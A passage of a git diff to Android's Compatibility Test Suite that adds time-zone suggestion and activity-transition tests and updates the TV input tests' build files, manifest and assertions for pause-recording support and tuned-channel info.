diff --git a/tests/tests/time/src/android/service/timezone/cts/TimeZoneProviderSuggestionTest.java b/tests/tests/time/src/android/service/timezone/cts/TimeZoneProviderSuggestionTest.java
new file mode 100644
index 0000000..ae4a14d
--- /dev/null
+++ b/tests/tests/time/src/android/service/timezone/cts/TimeZoneProviderSuggestionTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.service.timezone.cts;
+
+import static android.app.time.cts.ParcelableTestSupport.assertRoundTripParcelable;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import static java.util.Collections.singletonList;
+
+import android.service.timezone.TimeZoneProviderSuggestion;
+
+import org.junit.Test;
+
+import java.util.List;
+
+public class TimeZoneProviderSuggestionTest {
+
+    private static final long ARBITRARY_ELAPSED_REALTIME_MILLIS = 9999;
+
+    private static final List<String> ARBITRARY_TIME_ZONE_IDS = singletonList("Europe/London");
+
+    @Test(expected = RuntimeException.class)
+    public void testInvalidTimeZoneIds() {
+        new TimeZoneProviderSuggestion.Builder()
+                .setTimeZoneIds(null);
+    }
+
+    @Test
+    public void testAccessors() {
+        TimeZoneProviderSuggestion suggestion = new TimeZoneProviderSuggestion.Builder()
+                .setTimeZoneIds(ARBITRARY_TIME_ZONE_IDS)
+                .setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS)
+                .build();
+
+        assertEquals(ARBITRARY_TIME_ZONE_IDS, suggestion.getTimeZoneIds());
+        assertEquals(ARBITRARY_ELAPSED_REALTIME_MILLIS, suggestion.getElapsedRealtimeMillis());
+    }
+
+    @Test
+    public void testEquals() {
+        TimeZoneProviderSuggestion.Builder builder1 = new TimeZoneProviderSuggestion.Builder()
+                .setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            assertEquals(one, one);
+        }
+
+        TimeZoneProviderSuggestion.Builder builder2 = new TimeZoneProviderSuggestion.Builder()
+                .setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            TimeZoneProviderSuggestion two = builder2.build();
+            assertEquals(one, two);
+            assertEquals(two, one);
+        }
+
+        builder1.setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS + 1);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            TimeZoneProviderSuggestion two = builder2.build();
+            assertNotEquals(one, two);
+            assertNotEquals(two, one);
+        }
+
+        builder2.setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS + 1);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            TimeZoneProviderSuggestion two = builder2.build();
+            assertEquals(one, two);
+            assertEquals(two, one);
+        }
+
+        builder2.setTimeZoneIds(ARBITRARY_TIME_ZONE_IDS);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            TimeZoneProviderSuggestion two = builder2.build();
+            assertNotEquals(one, two);
+            assertNotEquals(two, one);
+        }
+
+        builder1.setTimeZoneIds(ARBITRARY_TIME_ZONE_IDS);
+        {
+            TimeZoneProviderSuggestion one = builder1.build();
+            TimeZoneProviderSuggestion two = builder2.build();
+            assertEquals(one, two);
+            assertEquals(two, one);
+        }
+    }
+
+    @Test
+    public void testParcelable_noTimeZoneIds() {
+        TimeZoneProviderSuggestion.Builder builder = new TimeZoneProviderSuggestion.Builder()
+                .setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS);
+        assertRoundTripParcelable(builder.build());
+    }
+
+    @Test
+    public void testParcelable_withTimeZoneIds() {
+        TimeZoneProviderSuggestion.Builder builder = new TimeZoneProviderSuggestion.Builder()
+                .setElapsedRealtimeMillis(ARBITRARY_ELAPSED_REALTIME_MILLIS)
+                .setTimeZoneIds(ARBITRARY_TIME_ZONE_IDS);
+        assertRoundTripParcelable(builder.build());
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 2301438..c20165f 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -343,6 +343,68 @@
         PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
     }
 
+    @Test
+    public void testTwiceForwardTwiceBack() throws Throwable {
+        enterScene(R.layout.scene1);
+        assertFalse(mActivity.isActivityTransitionRunning());
+
+        // A -> B
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(mActivity);
+            mActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(mActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        assertTrue(targetActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> C
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(targetActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(targetActivity);
+            targetActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(targetActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity2 = waitForTargetActivity2();
+        assertTrue(targetActivity2.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity2.isActivityTransitionRunning());
+
+        // C -> B
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity2.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity2.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> targetActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> A
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> mActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
+    }
+
     // Views that are excluded from the exit/enter transition shouldn't change visibility
     @Test
     public void untargetedViews() throws Throwable {
@@ -498,6 +560,23 @@
         return activity[0];
     }
 
+    private TargetActivity waitForTargetActivity2() throws Throwable {
+        verify(TargetActivity.sCreated, within(3000)).add(any());
+        TargetActivity[] activity = new TargetActivity[1];
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(2, TargetActivity.sCreated.size());
+            activity[0] = TargetActivity.sCreated.get(1);
+        });
+        assertTrue("There was no draw call", activity[0].drawnOnce.await(3, TimeUnit.SECONDS));
+        mActivityRule.runOnUiThread(() -> {
+            activity[0].getWindow().getDecorView().invalidate();
+        });
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(activity[0].preDrawCalls > 1);
+        });
+        return activity[0];
+    }
+
     private Set<Integer> getTargetViewIds(TargetTracking transition) {
         return transition.getTrackedTargets().stream()
                 .map(v -> v.getId())
diff --git a/tests/tests/tv/Android.bp b/tests/tests/tv/Android.bp
index aeaa943..f9f2ee4 100644
--- a/tests/tests/tv/Android.bp
+++ b/tests/tests/tv/Android.bp
@@ -16,6 +16,28 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+android_library {
+    name: "CtsTvTestCases_lib",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "platform-test-annotations",
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.ext.truth",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "testng",
+    ],
+
+    // sdk_version: "test_current",
+    platform_apis: true,
+    resource_dirs: ["res"],
+}
+
 android_test {
     name: "CtsTvTestCases",
     defaults: ["cts_defaults"],
@@ -24,18 +46,25 @@
         "cts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java"],
-    libs: [
-        "android.test.runner",
-        "android.test.base",
-    ],
+
     static_libs: [
-        "androidx.test.core",
-        "androidx.test.ext.truth",
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "testng",
+        "CtsTvTestCases_lib",
     ],
     // sdk_version: "test_current",
     platform_apis: true,
+    resource_dirs: [],
+}
+
+android_test_helper_app {
+    name: "CtsTvTestCasesHelperApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    privileged: true,
+    static_libs: [
+        "CtsTvTestCases_lib",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.rules",
+    ],
 }
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index a3429bb..b7c10c4 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,114 +16,126 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.tv.cts">
+     package="android.tv.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
 
-    <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
+    <uses-permission android:name="com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"/>
+    <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA"/>
 
     <queries>
-        <package android:name="com.android.providers.tv" />
+        <package android:name="com.android.providers.tv"/>
     </queries>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.media.tv.cts.TvInputSetupActivityStub">
+        <activity android:name="android.media.tv.cts.TvInputSetupActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.media.tv.cts.TvInputSettingsActivityStub">
+        <activity android:name="android.media.tv.cts.TvInputSettingsActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.media.tv.cts.StubTunerTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT"
-                 android:label="TV input stub"
-                 android:icon="@drawable/robot"
-                 android:process=":tunerTvInputStub">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:label="TV input stub"
+             android:icon="@drawable/robot"
+             android:process=":tunerTvInputStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.NoMetadataTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
         </service>
 
-        <service android:name="android.media.tv.cts.NoPermissionTvInputService">
+        <service android:name="android.media.tv.cts.NoPermissionTvInputService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.TvInputManagerTest$StubTvInputService2"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.TvInputServiceTest$CountingTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.HardwareSessionTest$HardwareProxyTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.FaultyTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT"
-                 android:process=":faultyTvInputService">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:process=":faultyTvInputService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
-        <activity android:name="android.media.tv.cts.TvViewStubActivity">
+        <activity android:name="android.media.tv.cts.TvViewStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.tv.settings.cts.SettingsLeanbackStubActivity">
+        <activity android:name="android.tv.settings.cts.SettingsLeanbackStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="android.tv.cts"
-            android:label="Tests for the TV APIs.">
+         android:targetPackage="android.tv.cts"
+         android:label="Tests for the TV APIs.">
         <meta-data android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/tests/tests/tv/TEST_MAPPING b/tests/tests/tv/TEST_MAPPING
new file mode 100644
index 0000000..935e652
--- /dev/null
+++ b/tests/tests/tv/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTvTestCases",
+      "options": [
+        {
+          "include-annotation": "android.platform.test.annotations.Presubmit"
+        },
+        {
+          "exclude-annotation": "android.support.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsTvTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/tv/res/xml/stub_tv_input_service.xml b/tests/tests/tv/res/xml/stub_tv_input_service.xml
index 8ad10cc..b0cc2c4 100644
--- a/tests/tests/tv/res/xml/stub_tv_input_service.xml
+++ b/tests/tests/tv/res/xml/stub_tv_input_service.xml
@@ -16,4 +16,5 @@
 
 <tv-input xmlns:android="http://schemas.android.com/apk/res/android"
     android:setupActivity="android.media.tv.cts.TvInputSetupActivityStub"
-    android:settingsActivity="android.media.tv.cts.TvInputSettingsActivityStub" />
+    android:settingsActivity="android.media.tv.cts.TvInputSettingsActivityStub"
+    android:canPauseRecording="true" />
diff --git a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
index f116d0a..7aa6844 100644
--- a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
@@ -23,6 +23,7 @@
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
 import android.media.tv.TvView;
+import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.ArrayMap;
 
@@ -37,6 +38,7 @@
 /**
  * Test {@link android.media.tv.TvView}.
  */
+@Presubmit
 public class BundledTvInputServiceTest
         extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
     /** The maximum time to wait for an operation. */
diff --git a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
index 2acf5ce..59a0561 100644
--- a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
@@ -26,6 +26,7 @@
 import android.media.tv.TvView;
 import android.media.tv.cts.HardwareSessionTest.HardwareProxyTvInputService.CountingSession;
 import android.net.Uri;
+import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 
 import android.tv.cts.R;
@@ -38,6 +39,7 @@
 /**
  * Test {@link android.media.tv.TvInputService.HardwareSession}.
  */
+@Presubmit
 public class HardwareSessionTest extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT = 15000L;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
index 9acff92..4c0bcc7 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
@@ -17,6 +17,7 @@
 package android.media.tv.cts;
 
 import android.media.tv.TvContentRating;
+import android.platform.test.annotations.Presubmit;
 
 import java.util.List;
 
@@ -25,6 +26,7 @@
 /**
  * Test for {@link android.media.tv.TvContentRating}.
  */
+@Presubmit
 public class TvContentRatingTest extends TestCase {
 
     private static final String DOMAIN = "android.media.tv";
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
index 8147ea9..8dd6f89 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
@@ -25,12 +25,14 @@
 import android.media.tv.TvInputManager;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 
 /**
  * Test for {@link android.media.tv.TvInputInfo}.
  */
+@Presubmit
 public class TvInputInfoTest extends AndroidTestCase {
     private TvInputInfo mStubInfo;
     private PackageManager mPackageManager;
@@ -47,6 +49,7 @@
                 && info1.getType() == info2.getType()
                 && info1.getTunerCount() == info2.getTunerCount()
                 && info1.canRecord() == info2.canRecord()
+                && info1.canPauseRecording() == info2.canPauseRecording()
                 && info1.isPassthroughInput() == info2.isPassthroughInput()
                 && TextUtils.equals(info1.loadLabel(context), info2.loadLabel(context));
     }
@@ -185,9 +188,11 @@
                 new ComponentName(getContext(), StubTunerTvInputService.class)).build();
         assertEquals(1, defaultInfo.getTunerCount());
         assertFalse(defaultInfo.canRecord());
+        assertTrue(defaultInfo.canPauseRecording());
         assertEquals(mStubInfo.getId(), defaultInfo.getId());
         assertEquals(mStubInfo.getTunerCount(), defaultInfo.getTunerCount());
         assertEquals(mStubInfo.canRecord(), defaultInfo.canRecord());
+        assertEquals(mStubInfo.canPauseRecording(), defaultInfo.canPauseRecording());
 
         Bundle extras = new Bundle();
         final String TEST_KEY = "android.media.tv.cts.TEST_KEY";
@@ -195,10 +200,11 @@
         extras.putString(TEST_KEY, TEST_VALUE);
         TvInputInfo updatedInfo = new TvInputInfo.Builder(getContext(),
                 new ComponentName(getContext(), StubTunerTvInputService.class)).setTunerCount(10)
-                .setCanRecord(true).setExtras(extras).build();
+                .setCanRecord(true).setCanPauseRecording(false).setExtras(extras).build();
         assertEquals(mStubInfo.getId(), updatedInfo.getId());
         assertEquals(10, updatedInfo.getTunerCount());
         assertTrue(updatedInfo.canRecord());
+        assertFalse(updatedInfo.canPauseRecording());
         assertEquals(TEST_VALUE, updatedInfo.getExtras().getString(TEST_KEY));
     }
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 6649ca6..042cbe1 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -16,11 +16,17 @@
 
 package android.media.tv.cts;
 
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
 import android.media.AudioManager;
+import android.media.tv.cts.TvViewTest.MockCallback;
+import android.media.tv.TunedInfo;
 import android.media.tv.TvContentRating;
+import android.media.tv.TvContract;
 import android.media.tv.TvInputHardwareInfo;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
@@ -28,8 +34,12 @@
 import android.media.tv.TvInputManager.HardwareCallback;
 import android.media.tv.TvInputService;
 import android.media.tv.TvStreamConfig;
+import android.media.tv.TvView;
+import android.net.Uri;
+import android.os.Bundle;
 import android.os.Handler;
 import android.test.ActivityInstrumentationTestCase2;
+import android.tv.cts.R;
 
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -62,6 +72,11 @@
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
     private TvInputInfo mStubTvInputInfo;
+    private TvView mTvView;
+    private Activity mActivity;
+    private Instrumentation mInstrumentation;
+    private TvInputInfo mStubTunerTvInputInfo;
+    private final MockCallback mMockCallback = new MockCallback();
 
     private static TvInputInfo getInfoForClassName(List<TvInputInfo> list, String name) {
         for (TvInputInfo info : list) {
@@ -78,14 +93,118 @@
 
     @Override
     public void setUp() throws Exception {
-        if (!Utils.hasTvInputFramework(getActivity())) {
+        super.setUp();
+        mActivity = getActivity();
+        if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
-        mManager = (TvInputManager) getActivity().getSystemService(Context.TV_INPUT_SERVICE);
+        mInstrumentation = getInstrumentation();
+        mTvView = findTvViewById(R.id.tvview);
+        mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
         mStubId = getInfoForClassName(
                 mManager.getTvInputList(), StubTvInputService2.class.getName()).getId();
         mStubTvInputInfo = getInfoForClassName(
                 mManager.getTvInputList(), StubTvInputService2.class.getName());
+        for (TvInputInfo info : mManager.getTvInputList()) {
+            if (info.getServiceInfo().name.equals(StubTunerTvInputService.class.getName())) {
+                mStubTunerTvInputInfo = info;
+                break;
+            }
+        }
+        assertNotNull(mStubTunerTvInputInfo);
+        mTvView.setCallback(mMockCallback);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            super.tearDown();
+            return;
+        }
+        StubTunerTvInputService.deleteChannels(
+                mActivity.getContentResolver(), mStubTunerTvInputInfo);
+        StubTunerTvInputService.clearTracks();
+        try {
+            runTestOnUiThread(new Runnable() {
+                @Override
+                public void run() {
+                    mTvView.reset();
+                }
+            });
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+        mInstrumentation.waitForIdleSync();
+        super.tearDown();
+    }
+
+    private TvView findTvViewById(int id) {
+        return (TvView) mActivity.findViewById(id);
+    }
+
+    private void tryTuneAllChannels() throws Throwable {
+        StubTunerTvInputService.insertChannels(
+                mActivity.getContentResolver(), mStubTunerTvInputInfo);
+
+        Uri uri = TvContract.buildChannelsUriForInput(mStubTunerTvInputInfo.getId());
+        String[] projection = { TvContract.Channels._ID };
+        try (Cursor cursor = mActivity.getContentResolver().query(
+                uri, projection, null, null, null)) {
+            while (cursor != null && cursor.moveToNext()) {
+                long channelId = cursor.getLong(0);
+                Uri channelUri = TvContract.buildChannelUri(channelId);
+                mCallback.mTunedInfos = null;
+                mTvView.tune(mStubTunerTvInputInfo.getId(), channelUri);
+                mInstrumentation.waitForIdleSync();
+                new PollingCheck(TIME_OUT_MS) {
+                    @Override
+                    protected boolean check() {
+                        return mMockCallback.isVideoAvailable(mStubTunerTvInputInfo.getId());
+                    }
+                }.run();
+                new PollingCheck(TIME_OUT_MS) {
+                    @Override
+                    protected boolean check() {
+                        return mCallback.mTunedInfos != null;
+                    }
+                }.run();
+
+                List<TunedInfo> returnedInfos = mManager.getCurrentTunedInfos();
+                assertEquals(1, returnedInfos.size());
+                TunedInfo returnedInfo = returnedInfos.get(0);
+                TunedInfo expectedInfo = new TunedInfo(
+                        "android.tv.cts/android.media.tv.cts.StubTunerTvInputService",
+                        channelUri,
+                        false,
+                        true,
+                        TunedInfo.APP_TYPE_SELF,
+                        TunedInfo.APP_TAG_SELF);
+                assertEquals(expectedInfo, returnedInfo);
+
+                assertEquals(1, mCallback.mTunedInfos.size());
+                TunedInfo callbackInfo = mCallback.mTunedInfos.get(0);
+                assertEquals(expectedInfo, callbackInfo);
+            }
+        }
+    }
+
+    public void testGetCurrentTunedInfos() throws Throwable {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            return;
+        }
+        mActivity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mManager.registerCallback(mCallback, new Handler());
+            }
+        });
+        tryTuneAllChannels();
+        mActivity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mManager.unregisterCallback(mCallback);
+            }
+        });
     }
 
     public void testGetInputState() throws Exception {
@@ -227,14 +346,15 @@
                 new ComponentName(getActivity(), StubTunerTvInputService.class)).build();
         TvInputInfo updatedInfo = new TvInputInfo.Builder(getActivity(),
                 new ComponentName(getActivity(), StubTunerTvInputService.class))
-                        .setTunerCount(10).setCanRecord(true).build();
+                        .setTunerCount(10).setCanRecord(true).setCanPauseRecording(false).build();
 
         mManager.updateTvInputInfo(updatedInfo);
         new PollingCheck(TIME_OUT_MS) {
             @Override
             protected boolean check() {
                 TvInputInfo info = mCallback.getLastUpdatedTvInputInfo();
-                return info !=  null && info.getTunerCount() == 10 && info.canRecord();
+                return info !=  null && info.getTunerCount() == 10 && info.canRecord()
+                        && !info.canPauseRecording();
             }
         }.run();
 
@@ -243,7 +363,8 @@
             @Override
             protected boolean check() {
                 TvInputInfo info = mCallback.getLastUpdatedTvInputInfo();
-                return info !=  null && info.getTunerCount() == 1 && !info.canRecord();
+                return info !=  null && info.getTunerCount() == 1 && !info.canRecord()
+                        && info.canPauseRecording();
             }
         }.run();
 
@@ -310,6 +431,7 @@
         private final List<String> mAddedInputs = new ArrayList<>();
         private final List<String> mRemovedInputs = new ArrayList<>();
         private TvInputInfo mLastUpdatedTvInputInfo;
+        private List<TunedInfo> mTunedInfos;
 
         @Override
         public synchronized void onInputAdded(String inputId) {
@@ -326,6 +448,12 @@
             mLastUpdatedTvInputInfo = info;
         }
 
+        @Override
+        public synchronized void onCurrentTunedInfosUpdated(
+                List<TunedInfo> tunedInfos) {
+            mTunedInfos = tunedInfos;
+        }
+
         public synchronized void resetLogs() {
             mAddedInputs.clear();
             mRemovedInputs.clear();
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
index d47c5ed..e643161 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
@@ -16,9 +16,15 @@
 
 package android.media.tv.cts;
 
-import android.app.Activity;
+import static androidx.test.ext.truth.view.MotionEventSubject.assertThat;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.PlaybackParams;
 import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
@@ -27,13 +33,13 @@
